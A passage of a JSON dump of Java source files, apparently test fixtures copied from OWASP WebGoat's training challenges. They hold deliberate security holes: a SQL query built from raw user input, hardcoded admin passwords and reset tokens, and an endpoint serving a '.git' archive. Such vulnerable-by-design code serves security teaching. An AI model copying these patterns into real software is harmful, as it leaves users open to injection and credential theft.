{\n      return failed(this).build();\n    }\n    if (field5.matches(regex5)) {\n      return failed(this).build();\n    }\n    if (field6.matches(regex6)) {\n      return failed(this).build();\n    }\n    if (field7.matches(regex7)) {\n      return failed(this).build();\n    }\n    return success(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java",
    "content": "package org.owasp.webgoat.lessons.challenges;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\n/**\n * @author nbaars\n * @since 3/21/17.\n */\npublic class ChallengeIntro extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CHALLENGE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"challenge0.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.challenges;\n\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\nimport lombok.Builder;\nimport lombok.Data;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@Builder\n@Data\npublic class Email implements Serializable {\n\n  private LocalDateTime time;\n  private String contents;\n  private String sender;\n  private String title;\n  private String recipient;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.challenges;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\nimport java.util.stream.IntStream;\nimport javax.annotation.PostConstruct;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 3/23/17.\n */\n@RestController\npublic class Flag extends AssignmentEndpoint {\n\n  public static final Map<Integer, String> FLAGS = new HashMap<>();\n  @Autowired private UserTrackerRepository userTrackerRepository;\n  @Autowired private WebSession webSession;\n\n  @AllArgsConstructor\n  private class FlagPosted {\n    @Getter private boolean lessonCompleted;\n  }\n\n  @PostConstruct\n  public void initFlags() {\n    IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));\n  }\n\n  @RequestMapping(\n      path = \"/challenge/flag\",\n      method = RequestMethod.POST,\n      produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult postFlag(@RequestParam String flag) {\n    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n    String currentChallenge = webSession.getCurrentLesson().getName();\n    int challengeNumber =\n        Integer.valueOf(\n            currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length()));\n    String expectedFlag = FLAGS.get(challengeNumber);\n    final AttackResult attackResult;\n    if (expectedFlag.equals(flag)) {\n      userTracker.assignmentSolved(webSession.getCurrentLesson(), \"Assignment\" + challengeNumber);\n      attackResult = success(this).feedback(\"challenge.flag.correct\").build();\n    } else {\n      userTracker.assignmentFailed(webSession.getCurrentLesson());\n      attackResult = failed(this).feedback(\"challenge.flag.incorrect\").build();\n    }\n    userTrackerRepository.save(userTracker);\n    return attackResult;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.challenges;\n\n/**\n * Interface with constants so we can easily change the flags\n *\n * @author nbaars\n * @since 3/23/17.\n */\npublic interface SolutionConstants {\n\n  // TODO should be random generated when starting the server\n  String PASSWORD = \"!!webgoat_admin_1234!!\";\n  String PASSWORD_TOM = \"thisisasecretfortomonly\";\n  String ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge1;\n\nimport static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.challenges.Flag;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since August 11, 2016\n */\n@RestController\npublic class Assignment1 extends AssignmentEndpoint {\n\n  @PostMapping(\"/challenge/1\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String username, @RequestParam String password, HttpServletRequest request) {\n    boolean ipAddressKnown = true;\n    boolean passwordCorrect =\n        \"admin\".equals(username)\n            && PASSWORD\n                .replace(\"1234\", String.format(\"%04d\", ImageServlet.PINCODE))\n                .equals(password);\n    if (passwordCorrect && ipAddressKnown) {\n      return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(1)).build();\n    } else if (passwordCorrect) {\n      return failed(this).feedback(\"ip.address.unknown\").build();\n    }\n    return failed(this).build();\n  }\n\n  public static boolean containsHeader(HttpServletRequest request) {\n    return StringUtils.hasText(request.getHeader(\"X-Forwarded-For\"));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge1;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author nbaars\n * @since 3/21/17.\n */\n@Component\npublic class Challenge1 extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CHALLENGE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"challenge1.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge1;\n\nimport static org.springframework.web.bind.annotation.RequestMethod.GET;\nimport static org.springframework.web.bind.annotation.RequestMethod.POST;\n\nimport java.io.IOException;\nimport java.security.SecureRandom;\nimport javax.servlet.http.HttpServlet;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class ImageServlet extends HttpServlet {\n\n  private static final long serialVersionUID = 9132775506936676850L;\n  public static final int PINCODE = new SecureRandom().nextInt(10000);\n\n  @RequestMapping(\n      method = {GET, POST},\n      value = \"/challenge/logo\",\n      produces = MediaType.IMAGE_PNG_VALUE)\n  @ResponseBody\n  public byte[] logo() throws IOException {\n    byte[] in =\n        new ClassPathResource(\"lessons/challenges/images/webgoat2.png\")\n            .getInputStream()\n            .readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216] = (byte) pincode.charAt(0);\n    in[81217] = (byte) pincode.charAt(1);\n    in[81218] = (byte) pincode.charAt(2);\n    in[81219] = (byte) pincode.charAt(3);\n\n    return in;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.challenges.challenge5;\n\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.challenges.Flag;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@Slf4j\npublic class Assignment5 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public Assignment5(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/challenge/5\")\n  @ResponseBody\n  public AttackResult login(\n      @RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n      return failed(this).feedback(\"required4\").build();\n    }\n    if (!\"Larry\".equals(username_login)) {\n      return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n    }\n    try (var connection = dataSource.getConnection()) {\n      PreparedStatement statement =\n          connection.prepareStatement(\n              \"select password from challenge_users where userid = '\"\n                  + username_login\n                  + \"' and password = '\"\n                  + password_login\n                  + \"'\");\n      ResultSet resultSet = statement.executeQuery();\n\n      if (resultSet.next()) {\n        return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n      } else {\n        return failed(this).feedback(\"challenge.close\").build();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.challenges.challenge5;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author nbaars\n * @since 3/21/17.\n */\n@Component\npublic class Challenge5 extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CHALLENGE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"challenge5.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge7;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.time.LocalDateTime;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.challenges.Email;\nimport org.owasp.webgoat.lessons.challenges.Flag;\nimport org.owasp.webgoat.lessons.challenges.SolutionConstants;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.client.RestTemplate;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@RestController\n@Slf4j\npublic class Assignment7 extends AssignmentEndpoint {\n\n  private static final String TEMPLATE =\n      \"Hi, you requested a password reset link, please use this <a target='_blank'\"\n          + \" href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your\"\n          + \" password.\\n\"\n          + \" \\n\\n\"\n          + \"If you did not request this password change you can ignore this message.\\n\"\n          + \"If you have any comments or questions, please do not hesitate to reach us at\"\n          + \" support@webgoat-cloud.org\\n\\n\"\n          + \"Kind regards, \\n\"\n          + \"Team WebGoat\";\n\n  @Autowired private RestTemplate restTemplate;\n\n  @Value(\"${webwolf.mail.url}\")\n  private String webWolfMailURL;\n\n  @GetMapping(\"/challenge/7/reset-password/{link}\")\n  public ResponseEntity<String> resetPassword(@PathVariable(value = \"link\") String link) {\n    if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {\n      return ResponseEntity.accepted()\n          .body(\n              \"<h1>Success!!</h1>\"\n                  + \"<img src='/WebGoat/images/hi-five-cat.jpg'>\"\n                  + \"<br/><br/>Here is your flag: \"\n                  + \"<b>\"\n                  + Flag.FLAGS.get(7)\n                  + \"</b>\");\n    }\n    return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT)\n        .body(\"That is not the reset link for admin\");\n  }\n\n  @PostMapping(\"/challenge/7\")\n  @ResponseBody\n  public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request)\n      throws URISyntaxException {\n    if (StringUtils.hasText(email)) {\n      String username = email.substring(0, email.indexOf(\"@\"));\n      if (StringUtils.hasText(username)) {\n        URI uri = new URI(request.getRequestURL().toString());\n        Email mail =\n            Email.builder()\n                .title(\"Your password reset link for challenge 7\")\n                .contents(\n                    String.format(\n                        TEMPLATE,\n                        uri.getScheme() + \"://\" + uri.getHost(),\n                        new PasswordResetLink().createPasswordReset(username, \"webgoat\")))\n                .sender(\"password-reset@webgoat-cloud.net\")\n                .recipient(username)\n                .time(LocalDateTime.now())\n                .build();\n        restTemplate.postForEntity(webWolfMailURL, mail, Object.class);\n      }\n    }\n    return success(this).feedback(\"email.send\").feedbackArgs(email).build();\n  }\n\n  @GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n  @ResponseBody\n  public ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge7;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author nbaars\n * @since 3/21/17.\n */\n@Component\npublic class Challenge7 extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CHALLENGE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"challenge7.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge7;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.UnsupportedEncodingException;\n\n/**\n * MD5 hash generator. More information about this class is available from <a target=\"_top\" href=\n * \"http://ostermiller.org/utils/MD5.html\">ostermiller.org</a>.\n *\n * <p>This class takes as input a message of arbitrary length and produces as output a 128-bit\n * \"fingerprint\" or \"message digest\" of the input. It is conjectured that it is computationally\n * infeasible to produce two messages having the same message digest, or to produce any message\n * having a given pre-specified target message digest. The MD5 algorithm is intended for digital\n * signature applications, where a large file must be \"compressed\" in a secure manner before being\n * encrypted with a private (secret) key under a public-key cryptosystem such as RSA.\n *\n * <p>For more information see RFC1321.\n *\n * @author Santeri Paavolainen http://santtu.iki.fi/md5/\n * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities\n * @since ostermillerutils 1.00.00\n */\npublic class MD5 {\n\n  /**\n   * Class constructor\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  public MD5() {\n    reset();\n  }\n\n  /**\n   * Command line program that will take files as arguments and output the MD5 sum for each file.\n   *\n   * @param args command line arguments\n   * @since ostermillerutils 1.00.00\n   */\n  public static void main(String[] args) {\n    if (args.length == 0) {\n      System.err.println(\"Please specify a file.\");\n    } else {\n      for (String element : args) {\n        try {\n          System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n        } catch (IOException x) {\n          System.err.println(x.getMessage());\n        }\n      }\n    }\n  }\n\n  /**\n   * Gets this hash sum as an array of 16 bytes.\n   *\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @since ostermillerutils 1.00.00\n   */\n  public byte[] getHash() {\n    if (!finalState.valid) {\n      finalState.copy(workingState);\n      long bitCount = finalState.bitCount;\n      // Compute the number of left over bits\n      int leftOver = (int) (((bitCount >>> 3)) & 0x3f);\n      // Compute the amount of padding to add based on number of left over bits.\n      int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver);\n      // add the padding\n      update(finalState, padding, 0, padlen);\n      // add the length (computed before padding was added)\n      update(finalState, encode(bitCount), 0, 8);\n      finalState.valid = true;\n    }\n    // make a copy of the hash before returning it.\n    return encode(finalState.state, 16);\n  }\n\n  /**\n   * Returns 32-character hex representation of this hash.\n   *\n   * @return String representation of this object's hash.\n   * @since ostermillerutils 1.00.00\n   */\n  public String getHashString() {\n    return toHex(this.getHash());\n  }\n\n  /**\n   * Gets the MD5 hash of the given byte array.\n   *\n   * @param b byte array for which an MD5 hash is desired.\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @since ostermillerutils 1.00.00\n   */\n  public static byte[] getHash(byte[] b) {\n    MD5 md5 = new MD5();\n    md5.update(b);\n    return md5.getHash();\n  }\n\n  /**\n   * Gets the MD5 hash of the given byte array.\n   *\n   * @param b byte array for which an MD5 hash is desired.\n   * @return 32-character hex representation the data's MD5 hash.\n   * @since ostermillerutils 1.00.00\n   */\n  public static String getHashString(byte[] b) {\n    MD5 md5 = new MD5();\n    md5.update(b);\n    return md5.getHashString();\n  }\n\n  /**\n   * Gets the MD5 hash the data on the given InputStream.\n   *\n   * @param in byte array for which an MD5 hash is desired.\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @throws IOException if an I/O error occurs.\n   * @since ostermillerutils 1.00.00\n   */\n  public static byte[] getHash(InputStream in) throws IOException {\n    MD5 md5 = new MD5();\n    byte[] buffer = new byte[1024];\n    int read;\n    while ((read = in.read(buffer)) != -1) {\n      md5.update(buffer, read);\n    }\n    return md5.getHash();\n  }\n\n  /**\n   * Gets the MD5 hash the data on the given InputStream.\n   *\n   * @param in byte array for which an MD5 hash is desired.\n   * @return 32-character hex representation the data's MD5 hash.\n   * @throws IOException if an I/O error occurs.\n   * @since ostermillerutils 1.00.00\n   */\n  public static String getHashString(InputStream in) throws IOException {\n    MD5 md5 = new MD5();\n    byte[] buffer = new byte[1024];\n    int read;\n    while ((read = in.read(buffer)) != -1) {\n      md5.update(buffer, read);\n    }\n    return md5.getHashString();\n  }\n\n  /**\n   * Gets the MD5 hash of the given file.\n   *\n   * @param f file for which an MD5 hash is desired.\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @throws IOException if an I/O error occurs.\n   * @since ostermillerutils 1.00.00\n   */\n  public static byte[] getHash(File f) throws IOException {\n    byte[] hash = null;\n    try (InputStream is = new FileInputStream(f)) {\n      hash = getHash(is);\n    }\n    return hash;\n  }\n\n  /**\n   * Gets the MD5 hash of the given file.\n   *\n   * @param f file array for which an MD5 hash is desired.\n   * @return 32-character hex representation the data's MD5 hash.\n   * @throws IOException if an I/O error occurs.\n   * @since ostermillerutils 1.00.00\n   */\n  public static String getHashString(File f) throws IOException {\n    String hash = null;\n    try (InputStream is = new FileInputStream(f)) {\n      hash = getHashString(is);\n    }\n    return hash;\n  }\n\n  /**\n   * Gets the MD5 hash of the given String. The string is converted to bytes using the current\n   * platform's default character encoding.\n   *\n   * @param s String for which an MD5 hash is desired.\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @since ostermillerutils 1.00.00\n   */\n  public static byte[] getHash(String s) {\n    MD5 md5 = new MD5();\n    md5.update(s);\n    return md5.getHash();\n  }\n\n  /**\n   * Gets the MD5 hash of the given String. The string is converted to bytes using the current\n   * platform's default character encoding.\n   *\n   * @param s String for which an MD5 hash is desired.\n   * @return 32-character hex representation the data's MD5 hash.\n   * @since ostermillerutils 1.00.00\n   */\n  public static String getHashString(String s) {\n    MD5 md5 = new MD5();\n    md5.update(s);\n    return md5.getHashString();\n  }\n\n  /**\n   * Gets the MD5 hash of the given String.\n   *\n   * @param s String for which an MD5 hash is desired.\n   * @param enc The name of a supported character encoding.\n   * @return Array of 16 bytes, the hash of all updated bytes.\n   * @throws UnsupportedEncodingException If the named encoding is not supported.\n   * @since ostermillerutils 1.00.00\n   */\n  public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException {\n    MD5 md5 = new MD5();\n    md5.update(s, enc);\n    return md5.getHash();\n  }\n\n  /**\n   * Gets the MD5 hash of the given String.\n   *\n   * @param s String for which an MD5 hash is desired.\n   * @param enc The name of a supported character encoding.\n   * @return 32-character hex representation the data's MD5 hash.\n   * @throws UnsupportedEncodingException If the named encoding is not supported.\n   * @since ostermillerutils 1.00.00\n   */\n  public static String getHashString(String s, String enc) throws UnsupportedEncodingException {\n    MD5 md5 = new MD5();\n    md5.update(s, enc);\n    return md5.getHashString();\n  }\n\n  /**\n   * Reset the MD5 sum to its initial state.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  public void reset() {\n    workingState.reset();\n    finalState.valid = false;\n  }\n\n  /**\n   * Returns 32-character hex representation of this hash.\n   *\n   * @return String representation of this object's hash.\n   * @since ostermillerutils 1.00.00\n   */\n  @Override\n  public String toString() {\n    return getHashString();\n  }\n\n  /**\n   * Update this hash with the given data.\n   *\n   * <p>A state may be passed into this method so that we can add padding and finalize a md5 hash\n   * without limiting our ability to update more data later.\n   *\n   * <p>If length bytes are not available to be hashed, as many bytes as possible will be hashed.\n   *\n   * @param state Which state is updated.\n   * @param buffer Array of bytes to be hashed.\n   * @param offset Offset to buffer array.\n   * @param length number of bytes to hash.\n   * @since ostermillerutils 1.00.00\n   */\n  private void update(MD5State state, byte buffer[], int offset, int length) {\n\n    finalState.valid = false;\n\n    // if length goes beyond the end of the buffer, cut it short.\n    if ((length + offset) > buffer.length) {\n      length = buffer.length - offset;\n    }\n\n    // compute number of bytes mod 64\n    // this is what we have sitting in a buffer\n    // that have not been hashed yet\n    int index = (int) (state.bitCount >>> 3) & 0x3f;\n\n    // add the length to the count (translate bytes to bits)\n    state.bitCount += length << 3;\n\n    int partlen = 64 - index;\n\n    int i = 0;\n    if (length >= partlen) {\n      System.arraycopy(buffer, offset, state.buffer, index, partlen);\n      transform(state, decode(state.buffer, 64, 0));\n      for (i = partlen; (i + 63) < length; i += 64) {\n        transform(state, decode(buffer, 64, i));\n      }\n      index = 0;\n    }\n\n    // buffer remaining input\n    if (i < length) {\n      for (int start = i; i < length; i++) {\n        state.buffer[index + i - start] = buffer[i + offset];\n      }\n    }\n  }\n\n  /**\n   * Update this hash with the given data.\n   *\n   * <p>If length bytes are not available to be hashed, as many bytes as possible will be hashed.\n   *\n   * @param buffer Array of bytes to be hashed.\n   * @param offset Offset to buffer array.\n   * @param length number of bytes to hash.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(byte buffer[], int offset, int length) {\n    update(workingState, buffer, offset, length);\n  }\n\n  /**\n   * Update this hash with the given data.\n   *\n   * <p>If length bytes are not available to be hashed, as many bytes as possible will be hashed.\n   *\n   * @param buffer Array of bytes to be hashed.\n   * @param length number of bytes to hash.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(byte buffer[], int length) {\n    update(buffer, 0, length);\n  }\n\n  /**\n   * Update this hash with the given data.\n   *\n   * @param buffer Array of bytes to be hashed.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(byte buffer[]) {\n    update(buffer, 0, buffer.length);\n  }\n\n  /**\n   * Updates this hash with a single byte.\n   *\n   * @param b byte to be hashed.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(byte b) {\n    byte buffer[] = new byte[1];\n    buffer[0] = b;\n    update(buffer, 1);\n  }\n\n  /**\n   * Update this hash with a String. The string is converted to bytes using the current platform's\n   * default character encoding.\n   *\n   * @param s String to be hashed.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(String s) {\n    update(s.getBytes());\n  }\n\n  /**\n   * Update this hash with a String.\n   *\n   * @param s String to be hashed.\n   * @param enc The name of a supported character encoding.\n   * @throws UnsupportedEncodingException If the named encoding is not supported.\n   * @since ostermillerutils 1.00.00\n   */\n  public void update(String s, String enc) throws UnsupportedEncodingException {\n    update(s.getBytes(enc));\n  }\n\n  /**\n   * The current state from which the hash sum can be computed or updated.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  private 